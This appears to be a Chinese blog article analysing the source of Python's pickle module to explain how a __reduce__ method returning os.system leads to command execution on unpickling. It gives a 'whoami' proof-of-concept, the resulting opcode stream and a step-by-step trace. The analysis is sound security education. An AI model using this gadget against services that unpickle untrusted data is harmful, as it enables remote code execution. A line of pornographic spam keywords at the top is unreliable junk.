亚洲中字慕日产2020,大陆极品少妇内射AAAAAA,无码av大香线蕉伊人久久,久久精品国产亚洲av麻豆网站

資訊專欄INFORMATION COLUMN

Python 反序列化安全問題(二)

zhoutk / 1915人閱讀

摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。


python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描述在反序列化過程中如何進行重構(gòu)。安全問題也是主要出在后者,本文主要針對于該情況進行pickle模塊源碼分析。
一、源碼分析

代碼結(jié)構(gòu)可以分為:基礎(chǔ)變量、自定義異常類、操作變量、序列化以及反序列化類以及普通函數(shù)。

1.1 基礎(chǔ)變量

代碼(28-57行)最先定義了部分變量,如最高協(xié)議號還有代碼中使用了struct.pack()以及marshal.loads()進行序列化和反序列化,并且解釋了為何用這兩個函數(shù)。

1.2 自定義異常類

代碼(59-85行)中自定義了4個異常類,分別為PickleError、PicklingError、UnpicklingError以及_Stop.

PickleError:PickingError和UnpicklingError的基類

PicklingError:序列化過程中異常

UnpicklingError:反序列化過程中異常

_Stop:在反序列化過程中結(jié)尾處觸發(fā)該異常

1.3 操作變量

代碼(99-126行)定義了操作變量,我們可以理解為操作指令,每一個變量都對應(yīng)著相關(guān)操作,這些指令在序列化的過程中寫入,然后在反序列化過程中讀取進行對應(yīng)操作;我們主要理解如下操作指令。

c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。

p:將堆棧中索引為-1的對應(yīng)存儲入內(nèi)存。

(:將一個標(biāo)記對象插入到堆棧中。

t:構(gòu)建元組壓入堆棧。

S:讀取字符串進行處理之后壓入堆棧。

R:將一個元組和一個可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。

.:調(diào)用_Stop結(jié)束反序列化。

1.4 序列化以及反序列化類

代碼定義了Pickler和Unpickler類,這兩個類是pickle模塊進行序列化反序列化的核心,下面看其實現(xiàn)過程:

1.4.1 序列化過程

dumps函數(shù)接收參數(shù)后首先進行Pickler類的初始化,然后調(diào)用類中的dump函數(shù)進行序列化。

dump()函數(shù)首先調(diào)用save函數(shù),save函數(shù)可以看做字典類型調(diào)度器,key為需要進行序列化的對象的type,value為對應(yīng)type的存儲函數(shù)名。例如如果序列化對象為[1, 2, 3],也就是list類型,save函數(shù)判斷完類型之后,在調(diào)度器內(nèi)查找對應(yīng)的方法save_list,然后調(diào)用結(jié)束后將結(jié)果寫入內(nèi)存中,最后dump函數(shù)寫入結(jié)束符號完成整個序列化過程。

如果上一步查詢調(diào)度器并沒有查詢到對應(yīng)的方法,即對象的type不在NoneType/bool/builtin/classobj/dict/float/function/instance/int/list/long/str/tuple/type/unicode這些類型中的時候,首先查看是否存在__reduce_ex__,如果存在則不再查找__reduce__,不存在的話則繼續(xù)查找__reduce__;進而判斷該函數(shù)返回值是string還是tuple,前者進入save_global;后者進入危險開始的save_reduce函數(shù)。

save_reduce會將__reduce__返回的tuple結(jié)果,調(diào)用save_tuple方法進行序列化存儲


測試代碼

import os
class A():
    def __reduce__(self):
        a = "whoami"
        return (os.system, (a,))
print type(A)
print dumps(A)
print type(A())
print  dumps(A())
class B(object):
    def __reduce__(self):
        a = "whoami"
        return (os.system, (a,))
print type(B)
print  dumps(B)
print type(B())
print dumps(B())

測試結(jié)果:


c__main__
A
p0
.

(i__main__
A
p0
(dp1
b.

c__main__
B
p0
.

cnt
system
p0
(S"whoami"
p1
tp2
Rp3
.

上述結(jié)果可以看出如果我們要達到執(zhí)行任意代碼的目的,需要使用的是第四種即dumps(B())才能進入到save_reduce方法,前三種只能調(diào)用save_global方法,只是對于命名引用進行序列化,所以也只能使用于相同環(huán)境中,否則在反序列化的過程中會報錯。

1.4.2 反序列化過程

反序列化和序列化的過程挺相似,按字節(jié)讀取然后在調(diào)度器中查找對應(yīng)的處理函數(shù);上面我們提到過一些操作指令,反序列化的調(diào)度器中將上述的操作指令作為key,處理函數(shù)作為value,此處主要分析上述最后一個實例的反序列化過程。

序列化的結(jié)果:

cnt
system
p0
(S"whoami"
p1
tp2
Rp3
.

反序列化過程:

讀取第一個字符c,查詢調(diào)度器,對應(yīng)的方法為load_global;

調(diào)用load_global,讀取該行將該行后面nt作為模塊名,下一行system作為方法名,兩者作為參數(shù)進入find_class;

find_class的目的就是返回nt.system方法,然后將返回結(jié)果壓入堆棧中;該方法的代碼如下所示:

    def find_class(self, module, name):
        __import__(module)
        mod = sys.modules[module]
        klass = getattr(mod, name)
        return klass

繼續(xù)讀取字節(jié)p,調(diào)用load_put,load_put從堆棧中獲取最后一個對象,放入內(nèi)存中,p后面的數(shù)字,為key;

繼續(xù)讀取字節(jié)(,調(diào)用load_mark,將object()壓入堆棧;

繼續(xù)讀取字節(jié)S,調(diào)用load_string,將"whoami"去除" "壓入堆棧;

到目前堆棧中有3個對象,分別為nt.system、object()、whoami;繼續(xù)讀取p,將whoami存儲到內(nèi)存中,key為1;

讀取字節(jié)t,調(diào)用load_tuple,其首先調(diào)用marker獲取object()的索引號,此處為1,然后將stack[1:]變?yōu)?"whoami",),也就是說執(zhí)行完這一步操作之后,堆棧中只有nt.system和("whoami",);

讀取字節(jié)p,調(diào)用load_put,將("whoami",)存儲如內(nèi)存,key為2,;

讀取字節(jié)R,調(diào)用load_reduce,運行nt.system("whoami"),得出結(jié)果之后賦值給堆棧索引為-1;

讀取p,調(diào)用load_put,將結(jié)果存儲到內(nèi)存;

讀取.,即結(jié)束符號,清空堆棧,結(jié)束反序列化。

總結(jié)

序列化以及反序列化其實是給每種能夠識別出來的類型的對象一個既定的方式去進行序列化或者反序列化,如果碰到不認識的,那就去查找__reduce__,將其序列化,然后在根據(jù)它去進行反序列化過程中的重構(gòu);
從上面的分析過程中可以看出,如果我們要在反序列化的過程中去執(zhí)行命令,就要滿足在序列化的時候能執(zhí)行save_reduce,然后在反序列化的過程中才能執(zhí)行l(wèi)oad_reduce,進而執(zhí)行命令;

文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址:http://www.ezyhdfw.cn/yun/41376.html

相關(guān)文章

  • Python 列化安全問題

    摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。調(diào)用結(jié)束反序列化。 python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描...

    idealcn 評論0 收藏0
  • Python列化安全問題

    摘要:反序列化安全問題一這一段時間使用做開發(fā),使用了存儲,閱讀了源碼,發(fā)現(xiàn)在存儲到過程中,利用了模塊進行序列化以及反序列化正好根據(jù)該樣例學(xué)習(xí)一波反序列化相關(guān)的安全問題,不足之處請各位表哥指出。 Python 反序列化安全問題(一) 這一段時間使用flask做web開發(fā),使用了redis存儲session,閱讀了flask_session源碼,發(fā)現(xiàn)在存儲session到redis過程中,利用了...

    Amos 評論0 收藏0
  • TensorFlow 刪除 YAML 支持,建議 JSON 作為替補方案!

    摘要:據(jù)公告稱,和的包裝庫使用了不安全的函數(shù)來反序列化編碼的機器學(xué)習(xí)模型。簡單來看,序列化將對象轉(zhuǎn)換為字節(jié)流。據(jù)悉,本次漏洞影響與版本,的到版本均受影響。作為解決方案,在宣布棄用之后,團隊建議開發(fā)者以替代序列化,或使用序列化作為替代。 ...

    BlackFlagBin 評論0 收藏0

發(fā)表評論

0條評論

最新活動
閱讀需要支付1元查看
<